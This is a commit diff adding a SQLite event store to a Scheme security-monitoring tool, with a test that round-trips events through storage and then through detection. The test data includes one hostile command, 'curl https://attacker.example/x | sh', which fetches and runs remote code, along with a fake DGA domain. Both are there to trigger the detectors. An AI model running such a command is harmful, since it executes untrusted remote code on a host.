storage: SQLite event store (jsecmon storage) on sqlite-native
Jaime Fournier <jaimef@linbsd.org>
5b5aa5178f4becd32a95804a3373d3b9f96da88e
--- a/Makefile +++ b/Makefile @@ -8,10 +8,13 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo kernels-check triage-check analytics-check detect-check checks clean +.PHONY: rust test ffi-demo kernels-check triage-check analytics-check detect-check storage-check checks clean # Combined libdir path so sibling libraries `(jsecmon ...)` resolve to ./jsecmon # (a second --libdirs would replace, not append, the jerboa one). LIBDIRS := "$(JERBOA)/lib:$(CURDIR)" +# (jsecmon storage) loads libjerboa_native (rusqlite) through the dynamic loader, +# not by absolute path — point the loader at jerboa's lib dir (macOS + Linux). +LOADER_ENV := DYLD_LIBRARY_PATH="$(JERBOA)/lib:$$DYLD_LIBRARY_PATH" LD_LIBRARY_PATH="$(JERBOA)/lib:$$LD_LIBRARY_PATH" # Generate the Rust crate from the Typed Jerboa kernels, then drop in the # hand-written verification tests (the generator only writes src/ + Cargo.toml). @@ -59,11 +62,19 @@ detect-check: rust cd $(BUILD) && cargo build --release $(SCHEME) --libdirs $(LIBDIRS) --script examples/detect_check.ss +# Full persistence round-trip: store events to SQLite (via std db sqlite-native), +# query them back as row hashes, then run the same detect -> analytics pipeline +# over the queried rows. Proves storage composes with the rest of the layer. +storage-check: rust + cd $(BUILD) && cargo build --release + $(LOADER_ENV) $(SCHEME) --libdirs $(LIBDIRS) --script examples/storage_check.ss + # Everything that runs through the Jerboa side of the bridge, one shot. checks: kernels-check $(SCHEME) --libdirs $(LIBDIRS) --script examples/triage_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/analytics_check.ss $(SCHEME) --libdirs $(LIBDIRS) --script examples/detect_check.ss + $(LOADER_ENV) $(SCHEME) --libdirs $(LIBDIRS) --script examples/storage_check.ss clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -26,6 +26,7 @@ make kernels-check # exercise the (jsecmon kernels) library against the vector make triage-check # verify the untyped (jsecmon triage) engine vs secmon vectors make analytics-check # verify untyped risk-ranking + incident grouping vs vectors make detect-check # full pipeline: events -> detect -> analytics (all kernels) +make storage-check # SQLite round-trip: store -> query -> detect -> analytics make checks # every Jerboa-side check in one shot ``` @@ -75,4 +76,6 @@ then crypto orchestration, then I/O / async / FFI (monitors, server, storage). | `psk::from_hex` (hex codec) | `typed/psk.ss` | ✅ hex encode + decode + 32-byte precondition; vectors pass (decode∘encode identity over all 256 byte values) | | `psk` HKDF/SHA256/AES-GCM | — | ⏳ FFI-delegated to vetted crates (not reimplemented) | | `crypto::ecies` | — | ⏳ FFI-delegated; orchestration only | -| monitors / server / storage / ebpf / dtrace | — | ⏳ I/O+async+FFI, last | +| `storage` (events table, store/query/filters) | `jsecmon/storage.ss` | ✅ **untyped layer** — SQLite event store on `(std db sqlite-native)` (rusqlite): secmon's schema (events + indexes + collector_state), `store-event` INSERT-OR-IGNORE dedup, and the full EventFilter WHERE builder (host/type/severity/since/until/pid/process_name LIKE/search/exclude_event_ids). `query-events` returns row hashes with `data` parsed from JSON, so detect/triage/analytics consume them directly. `make storage-check` round-trips store→query→detect→analytics (host risk 30, same as `detect-check`). | +| `storage` SQL-aggregation detectors (brute_force, dns_tunnel, …) | — | ⏳ next: GROUP BY/window detection rules over the store | +| monitors / server / ebpf / dtrace | — | ⏳ I/O+async+FFI, last | new file mode 100644 --- /dev/null +++ b/examples/storage_check.ss @@ -0,0 +1,112 @@ +;;; Storage round-trip check: store -> query -> detect -> analytics. +;;; +;;; Proves the persistence backbone composes with the rest of the untyped layer: +;;; events are written to SQLite as secmon stores them (data as a JSON string), +;;; read back as row hashes by (jsecmon storage), and fed straight into +;;; (jsecmon detect) + (jsecmon analytics) with no glue — yielding the same +;;; anomalies and the same host risk score (30) that examples/detect_check.ss +;;; gets from in-memory events. Also exercises store_event's INSERT-OR-IGNORE +;;; dedup and the EventFilter WHERE-clause builder. +;;; +;;; Run from the repo root with the dylib built and repo on libdirs: +;;; scheme --libdirs "$JERBOA/lib:." --script examples/storage_check.ss + +(import (jerboa prelude) + (jsecmon storage) + (jsecmon detect) + (jsecmon analytics)) + +(def fails 0) +(def (check label got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") label " => " got + (if ok "" (str " (want " want ")"))))) +(def (check-pred label got pred) + (let ((ok (pred got))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") label " => " got))) + +;; Build the `data` column the way secmon does: a JSON string. +(def (proc-data cmdline exe) + (let ((d (make-hash-table))) + (hash-put! d "cmdline" cmdline) (hash-put! d "exe" exe) + (json-object->string d))) +(def (dns-data qname) + (let ((d (make-hash-table))) + (hash-put! d "query_name" qname) + (json-object->string d))) + +(def db (store-open ":memory:")) + +;; store-event: (db seq host source ts type severity pid pname summary data) +(displayln "store events:") +(check "insert curl|sh proc" + (store-event db 1 "h1" "agent" 1000 "process_start" "info" 4321 "bash" "" + (proc-data (list "bash" "-c" "curl https://attacker.example/x | sh") "/usr/bin/bash")) + #t) +(check "insert benign curl proc" + (store-event db 2 "h1" "agent" 1001 "process_start" "info" 4322 "curl" "" + (proc-data (list "curl" "https://example.com" "-o" "page.html") "/usr/bin/curl")) + #t) +(check "insert DGA dns" + (store-event db 3 "h1" "agent" 1002 "dns_query" "info" 4323 "evil" "" + (dns-data "kxq8z23nplkdq.example.com")) + #t) +(check "insert benign dns" + (store-event db 4 "h1" "agent" 1003 "dns_query" "info" 4324 "chrome" "" + (dns-data "google.com")) + #t) +;; INSERT OR IGNORE: a duplicate (host,source,seq) is rejected, returns #f. +(check "duplicate seq ignored" + (store-event db 1 "h1" "agent" 9999 "process_start" "info" 1 "bash" "" + (proc-data (list "bash") "/usr/bin/bash")) + #f) +(check "row count" (store-count db) 4) + +;; query-events: rows come back as row hashes with `data` parsed to a sub-hash. +(displayln "query + filters:") +(def all (query-events db (make-filter))) +(check "query all" (length all) 4) +(check "process_start filter" (length (query-events db (make-filter "event_type" "process_start"))) 2) +(check "dns_query filter" (length (query-events db (make-filter "event_type" "dns_query"))) 2) +(check "host filter" (length (query-events db (make-filter "host" "h1"))) 4) +(check "host miss filter" (length (query-events db (make-filter "host" "nope"))) 0) +(check "since_ms filter" (length (query-events db (make-filter "since_ms" 1002))) 2) +;; round-trip integrity: the JSON cmdline array is a Jerboa list again +(def a-proc (find (lambda (e) (string=? (hash-get e "event_type") "process_start")) all)) +(check-pred "data parsed to sub-hash" (hash-get a-proc "data") hash-table?) +(check-pred "cmdline back to a list" (hash-get (hash-get a-proc "data") "cmdline") list?) + +;; The payoff: queried rows feed detect + analytics unchanged. +(displayln "stored events -> detect -> analytics:") +(def dets (run-detections all)) +(check "anomaly count" (length dets) 2) +(check-pred "lolbin fired" + (find (lambda (a) (string=? (hash-get a "rule") "suspicious_cmdline")) dets) + (lambda (x) (not (not x)))) +(check-pred "dga fired" + (find (lambda (a) (string=? (hash-get a "rule") "dga_domain")) dets) + (lambda (x) (not (not x)))) +(def risks (compute-host-risks all dets 10)) +(check "ranked host" (host-risk-host (car risks)) "h1") +(check "host risk score" (host-risk-score (car risks)) 30) + +;; exclude_event_ids: drop the curl|sh row, and only the DGA alert survives. +(displayln "exclude_event_ids filter:") +(def curl-row + (find (lambda (e) + (and (string=? (hash-get e "event_type") "process_start") + (let ((cm (hash-get (hash-get e "data") "cmdline"))) + (and (list? cm) (member "-c" cm))))) + all)) +(check-pred "found curl|sh row id" (hash-get curl-row "id") number?) +(def kept (query-events db (make-filter "exclude_event_ids" (list (hash-get curl-row "id"))))) +(check "rows after exclude" (length kept) 3) +(check "detections after exclude" (length (run-detections kept)) 1) + +(store-close db) +(newline) +(if (= fails 0) + (displayln "OK: storage round-trips; store -> query -> detect -> analytics composes.") + (begin (displayln fails " FAILURES") (exit 1))) new file mode 100644 --- /dev/null +++ b/jsecmon/storage.ss @@ -0,0 +1,162 @@ +#!chezscheme +;;; jsecmon storage — the event persistence backbone, untyped orchestration. +;;; +;;; This is secmon's src/storage/mod.rs: a SQLite-backed event store. It is pure +;;; I/O + SQL, so it stays in the untyped layer (no typed kernel touches a +;;; database). It runs on (std db sqlite-native) — the rusqlite-backed native +;;; binding that ships with jerboa — NOT (std db sqlite), whose chez backend is +;;; undefined in this checkout. +;;; +;;; The contract that makes the whole port compose: query-events returns events +;;; as *row hash tables with string keys* — exactly the shape (jsecmon detect), +;;; (jsecmon triage) and (jsecmon analytics) already consume — with the `data` +;;; column parsed from its stored JSON text back into a sub-hash. So the full +;;; pipeline is storage -> detect -> rank/triage with no glue. Verified end to +;;; end in examples/storage_check.ss. +;;; +;;; Schema mirrors secmon's events table (id/seq/host/source/timestamp_ms/ +;;; event_type/severity/pid/process_name/summary/data, UNIQUE(host,source,seq)) +;;; plus its core indexes and collector_state. The json_extract IOC indexes are +;;; omitted: they are a query-time optimization our SQL layer doesn't rely on. + +(library (jsecmon storage) + (export store-open store-close store-event store-count + make-filter query-events) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?) + (std db sqlite-native)) + + ;; ── schema (secmon's events table + core indexes + collector_state) ───────── + (def schema-ddl + (string-append + "PRAGMA journal_mode=WAL; PRAGMA synchronous=NORMAL;" + "CREATE TABLE IF NOT EXISTS events (" + " id INTEGER PRIMARY KEY AUTOINCREMENT," + " seq INTEGER NOT NULL," + " host TEXT NOT NULL," + " source TEXT NOT NULL DEFAULT ''," + " timestamp_ms INTEGER NOT NULL," + " event_type TEXT NOT NULL," + " severity TEXT NOT NULL," + " pid INTEGER," + " process_name TEXT," + " summary TEXT NOT NULL DEFAULT ''," + " data TEXT NOT NULL," + " UNIQUE(host, source, seq));" + "CREATE INDEX IF NOT EXISTS idx_ts ON events(timestamp_ms);" + "CREATE INDEX IF NOT EXISTS idx_host_ts ON events(host, timestamp_ms);" + "CREATE INDEX IF NOT EXISTS idx_type_ts ON events(event_type, timestamp_ms);" + "CREATE INDEX IF NOT EXISTS idx_severity_ts ON events(severity, timestamp_ms);" + "CREATE INDEX IF NOT EXISTS idx_pid ON events(pid) WHERE pid IS NOT NULL;" + "CREATE TABLE IF NOT EXISTS collector_state (" + " source TEXT PRIMARY KEY," + " last_seq INTEGER NOT NULL DEFAULT 0," + " last_seen INTEGER NOT NULL," + " hostname TEXT);")) + + (def (store-open path) + (let ((db (sqlite-open path))) + (sqlite-exec db schema-ddl) + db)) + + (def (store-close db) (sqlite-close db)) + + ;; INSERT OR IGNORE; returns #t if the row was inserted, #f if a duplicate + ;; (host,source,seq) collided — mirrors secmon store_event's bool result. + ;; pid / process_name may be #f -> bound as SQL NULL. + (def (store-event db seq host source ts type severity pid pname summary data) + (sqlite-execute db + (string-append + "INSERT OR IGNORE INTO events" + " (seq, host, source, timestamp_ms, event_type, severity, pid, process_name, summary, data)" + " VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10)") + seq host source ts type severity pid pname summary data) + (> (sqlite-changes db) 0)) + + (def (store-count db) + (let ((rows (sqlite-query db "SELECT COUNT(*) AS n FROM events"))) + (if (null? rows) 0 (cdar (car rows))))) + + ;; ── filters ───────────────────────────────────────────────────────────────── + ;; A filter is a string-keyed hash; missing key = no constraint. Recognized: + ;; host event_type severity (=) since_ms (>=) until_ms (<=) pid (=) + ;; process_name search (LIKE %x%) exclude_event_ids (list of int, NOT IN) + ;; limit (default 1000) offset (default 0) + (def (make-filter . kvs) + (let ((h (make-hash-table))) + (let loop ((xs kvs)) + (if (or (null? xs) (null? (cdr xs))) + h + (begin (hash-put! h (car xs) (cadr xs)) (loop (cddr xs))))))) + + (def base-select + (string-append + "SELECT id, seq, host, source, timestamp_ms, event_type, severity," + " pid, process_name, summary, data FROM events WHERE 1=1")) + + ;; Build the dynamic WHERE suffix + positional bind list, mirroring secmon's + ;; append_filter_clauses. Returns (cons where-sql param-list). secmon reuses + ;; one ?N for the two-column search; positional binding here is simplest with + ;; two placeholders bound to the same value. + (def (build-where filter) + (let ((parts '()) (params '()) (idx 1)) + (def (emit! frag val) + (set! parts (cons frag parts)) + (set! params (cons val params)) + (set! idx (+ idx 1))) + (awhen (hash-get filter "host") (emit! (str " AND host = ?" idx) it)) + (awhen (hash-get filter "event_type") (emit! (str " AND event_type = ?" idx) it)) + (awhen (hash-get filter "severity") (emit! (str " AND severity = ?" idx) it)) + (awhen (hash-get filter "since_ms") (emit! (str " AND timestamp_ms >= ?" idx) it)) + (awhen (hash-get filter "until_ms") (emit! (str " AND timestamp_ms <= ?" idx) it)) + (awhen (hash-get filter "pid") (emit! (str " AND pid = ?" idx) it)) + (awhen (hash-get filter "process_name") (emit! (str " AND process_name LIKE ?" idx) (str "%" it "%"))) + (awhen (hash-get filter "search") + (let ((p (str "%" it "%"))) + (set! parts (cons (str " AND (summary LIKE ?" idx " OR data LIKE ?" (+ idx 1) ")") parts)) + (set! params (cons p (cons p params))) + (set! idx (+ idx 2)))) + (let ((ex (hash-get filter "exclude_event_ids"))) + (when (and (list? ex) (pair? ex)) + (set! parts (cons (str " AND id NOT IN (" + (string-join (map number->string ex) ",") ")") + parts)))) + (cons (apply string-append (reverse parts)) (reverse params)))) + + (def (parse-data v) + (if (and (string? v) (not (string=? v ""))) + (try (string->json-object v) (catch (e) (make-hash-table))) + (make-hash-table))) + + ;; Map a sqlite-query alist row (string column-name keys) into the row hash the + ;; rest of the untyped layer consumes, parsing the `data` JSON into a sub-hash. + (def (row->event alist) + (let ((h (make-hash-table))) + (for-each + (lambda (kv) + (if (string=? (car kv) "data") + (hash-put! h "data" (parse-data (cdr kv))) + (hash-put! h (car kv) (cdr kv)))) + alist) + h)) + + (def (query-events db filter) + (let* ((w (build-where filter)) + (where-sql (car w)) + (where-params (cdr w)) + (idx (+ 1 (length where-params))) + (limit (or (hash-get filter "limit") 1000)) + (offset (or (hash-get filter "offset") 0)) + (sql (str base-select where-sql + " ORDER BY timestamp_ms DESC" + " LIMIT ?" idx " OFFSET ?" (+ idx 1))) + (params (append where-params (list limit offset)))) + (map row->event (apply sqlite-query db sql params)))))